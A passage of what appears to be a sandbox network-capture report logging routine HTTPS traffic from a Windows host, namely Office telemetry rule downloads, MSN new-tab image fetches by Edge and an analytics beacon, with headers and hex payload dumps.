f7 7d 3a Data Ascii: j+O?$u;oM]G?%W_R:]_-_g<'-Dkve\|P<LR}-S>3Y?U)t-h9\/W{pB]HK.O'N}Go9zH3\|>:=M]gz\|3x83fC'l}:
2024-11-09 21:09:47 UTC	8144	IN	Data Raw: 2b a5 3a e0 cb af cd 1c d6 86 d4 20 3e de 0c ba 9a e9 39 ec da 84 07 d4 9f 41 6e bc 4e 6d 66 d4 21 5d 3a fc d1 2f c9 80 d4 4d 42 0e ad 7e 7b fc 49 a9 3e 83 9f 51 ac 40 7d 4d 1a d0 0d 44 b1 07 4e a7 e6 4d 4b a8 e7 d4 6d 62 0e 8d 4c 9a bc c0 59 b5 08 3a 2f a7 ef 2e a3 9a cb a8 80 ed a6 6d 72 5d 2b a4 05 8a e4 cb 07 45 c1 fe cb 2e a9 af 1d 48 e4 d5 66 d5 40 74 dc 5f 0e cb 2b c9 25 fb 47 2b 90 9a 9a 09 5d 3a e2 f8 76 46 d7 25 fb 48 e4 72 4c ca 61 5d 7a a2 fa 06 d5 25 e3 68 e3 d4 4d 4d 16 0e cd 51 7d 0c ba a5 d0 d1 c5 ae cd ac 23 af 52 7d 05 d7 25 e3 67 2e ab 13 53 40 ae a7 28 be 8e a1 6d ae 0e ce 7d 64 d4 10 77 24 f8 a2 5d 6e be 40 2e c9 a9 a0 3a 1c 93 e2 86 52 6b 83 d8 06 a4 2d d1 62 3a 75 5f 13 5f 8f cc e7 d4 6d 41 5d 5a 93 e2 90 eb a1 9c b6 9f 8d 16 da 20 Data Ascii: +: >9AnNmf!]:/MB~{I>Q@}MDNMKmbLY:/.mr]+E.Hf@t_+%G+]:vF%HrLa]z%hMMQ}#R}%g.S@(m}dw$]n@.:Rk-b:u__mA]Z

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:47 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:47 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 0ad2dbdf-401e-005b-319c-319c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210947Z-15869dbbcc6b2ncxhC1DFWu4ss000000027g00000000f7dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:47 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:47 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: d5f81faf-001e-0017-2ed2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210947Z-16547b76f7fx6rhxhC1DFW76kg0000000bpg00000000a54u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:47 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49902	23.47.50.162	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:47 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=198397 Expires: Tue, 12 Nov 2024 04:16:24 GMT Date: Sat, 09 Nov 2024 21:09:47 GMT Connection: close
2024-11-09 21:09:47 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49905	23.47.50.162	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:47 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 29 Oct 2024 01:23:33 GMT X-Datacenter: westus X-ActivityId: cb9047c4-4547-48fb-b4d6-e543e2becb13 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=187950 Expires: Tue, 12 Nov 2024 01:22:17 GMT Date: Sat, 09 Nov 2024 21:09:47 GMT Connection: close
2024-11-09 21:09:47 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49903	23.47.50.162	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:47 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=213676 Expires: Tue, 12 Nov 2024 08:31:03 GMT Date: Sat, 09 Nov 2024 21:09:47 GMT Connection: close
2024-11-09 21:09:47 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49900	23.47.50.162	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:47 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=359896 Expires: Thu, 14 Nov 2024 01:08:03 GMT Date: Sat, 09 Nov 2024 21:09:47 GMT Connection: close
2024-11-09 21:09:47 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49904	23.47.50.162	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	634	OUT	GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:47 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1t99ka Last-Modified: Fri, 01 Nov 2024 18:01:15 GMT X-Source-Length: 20811 X-Datacenter: eastus X-ActivityId: f7ec68f9-61c4-4117-9b16-c229b5f431dd Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 20811 Cache-Control: public, max-age=118383 Expires: Mon, 11 Nov 2024 06:02:50 GMT Date: Sat, 09 Nov 2024 21:09:47 GMT Connection: close
2024-11-09 21:09:47 UTC	15866	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 0f dd a1 9b 00 00 0c 3e 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 10 20 80 80 94 d0 9b 20 22 25 80 94 10 5a 00 e9 45 b0 11 92 00 a1 c4 18 08 2a 76 74 51 c1 b5 8b 08 d8 d0 55 11 c5 0e 88 1d b1 b3 28 f6 be 58 50 50 d6 c5 82 5d 79 93 02 ba ee 2b df 9b 7c 33 f3 e7 9f 33 ff 39 73 ee dc 32 00 d0 4f f0 24 92 1c 54 13 80 5c 71 be 34 36 24 80 39 26 39 85 49 ea 02 28 a0 c2 df 50 40 e7 f1 f3 24 ec e8 e8 08 00 cb 40 ff f7 f2 ee 06 40 e4 fd 55 47 b9 d6 3f c7 ff 6b d1 12 08 f3 f8 00 20 d1 10 a7 09 f2 f8 b9 10 1f 00 00 af e2 4b a4 f9 00 10 e5 bc c5 94 7c 89 1c c3 0a 74 a4 30 40 88 17 ca 71 86 12 57 c9 71 9a 12 ef 51 d8 c4 c7 72 20 6e Data Ascii: PNGIHDR>iCCPICC ProfileHWXS[ "%ZE*vtQU(XPP]y+\|339s2O$T\q46$9&9I(P@$@@UG?k K\|t0@qWqQr n
2024-11-09 21:09:47 UTC	4945	IN	Data Raw: 3d f7 52 13 58 62 fb e9 21 5b 75 03 17 1c 54 6d 19 c9 a8 68 28 42 9d 72 18 59 2e 37 2a 0c 62 39 95 49 f4 d3 4f 3f dd 5c 95 c7 7f 5e 26 47 55 66 a3 ea 36 56 f1 51 09 75 c5 13 0a 63 96 51 3e 61 c6 4e 30 31 02 fb 25 ac ba ef f1 51 a3 42 71 d6 c4 60 4d d0 b4 22 a3 45 5b 46 7d 48 2d fb 24 ab b3 11 2c 12 46 4c d6 28 60 28 2f fd 89 ad 4e 3b ed b4 70 0a 37 30 5d 55 33 e8 8b ab f4 61 23 b0 4f 04 f6 4b 58 2e 2f c8 4a 25 4c 43 94 67 ef b3 5a 9d fd c0 11 18 09 68 2c 3c 41 d3 0e 86 ab 53 52 ba 3f f9 a6 85 af a7 7b ea 87 ad bc 55 63 45 55 e2 a9 dc ba b0 55 85 57 e3 55 5a 6e 04 0e 04 81 03 20 ac 72 d0 12 0e a4 66 5d c8 c1 22 50 bc b3 28 36 fa d0 96 53 95 ac 04 4a 67 05 4d 1e e7 99 a2 fa ae ef fa 2e 2f d3 58 05 2a c8 0a 49 b9 63 89 ac 13 61 49 46 40 5b 8b 77 92 17 17 ed Data Ascii: =RXb![uTmh(BrY.7b9IO?\^&GUf6VQucQ>aN01%QBq`M"E[F}H-$,FL(`(/N;p70]U3a#OKX./J%LCgZh,<ASR?{UcEUUWUZn rf]"P(6SJgM./XIcaIF@[w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49906	3.168.2.47	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	1012	OUT	GET /b2?rn=1731186584992&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0722F0CD1C5A69A60479E5FF1DAB68A5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1B42f4103cd219d11b9809b1731186587; XID=1B42f4103cd219d11b9809b1731186587
2024-11-09 21:09:47 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sat, 09 Nov 2024 21:09:47 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 127cb4e092703291166807187706cbc4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P2 X-Amz-Cf-Id: DMSfcdWkJZ7DDBR6JJLsNJ_Ds-OULT57SSvhk5g79vNlc7NwXgNMAw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:48 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:48 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 70b2909d-801e-00ac-33c1-2cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210948Z-16547b76f7fkj7j4hC1DFW0a9g0000000brg0000000037xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:48 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:48 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:48 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 84bace10-701e-000d-3862-326de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210948Z-17df447cdb5rnd49hC1DFWgmpw00000002a000000000ag5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
